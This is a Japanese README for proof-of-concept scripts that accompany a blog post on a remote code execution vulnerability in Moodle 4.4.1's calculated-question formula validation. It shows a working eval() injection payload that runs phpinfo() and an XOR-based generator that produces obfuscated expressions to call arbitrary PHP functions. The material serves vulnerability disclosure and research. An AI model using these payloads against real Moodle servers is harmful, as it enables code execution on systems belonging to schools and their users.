
このリポジトリには、ブログ記事「Back to School - Exploiting a Remote Code Execution Vulnerability in Moodle」(Moodle学習プラットフォームにおけるリモートコード実行の脆弱性について説明)の付属スクリプトが含まれています。
validationディレクトリ内のスクリプトを使用して、PHPのeval()呼び出しの悪用を防ぐためにMoodleが使用する検証ロジックに対して、入力文字列を直接テストできます。
すべてのコードスニペットは、Moodleのソースコードから直接引用しており、脆弱性のあるバージョンには4.4.1リリースを、修正済みバージョンには4.4.2を使用しています。
スクリプトには、question/type/calculated/questiontype.phpファイルの関連部分が含まれています。
validation.phpファイルは脆弱な検証ロジックを使用しています:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
このリポジトリには、validation-fixed.php内の修正済みバージョンの検証コードも含まれています:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
xor-generator.pyスクリプトは、可変関数に基づく式を生成するために使用でき、脆弱なバージョンのMoodleで任意のPHP関数を単一の数値パラメータで呼び出すことを可能にします:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test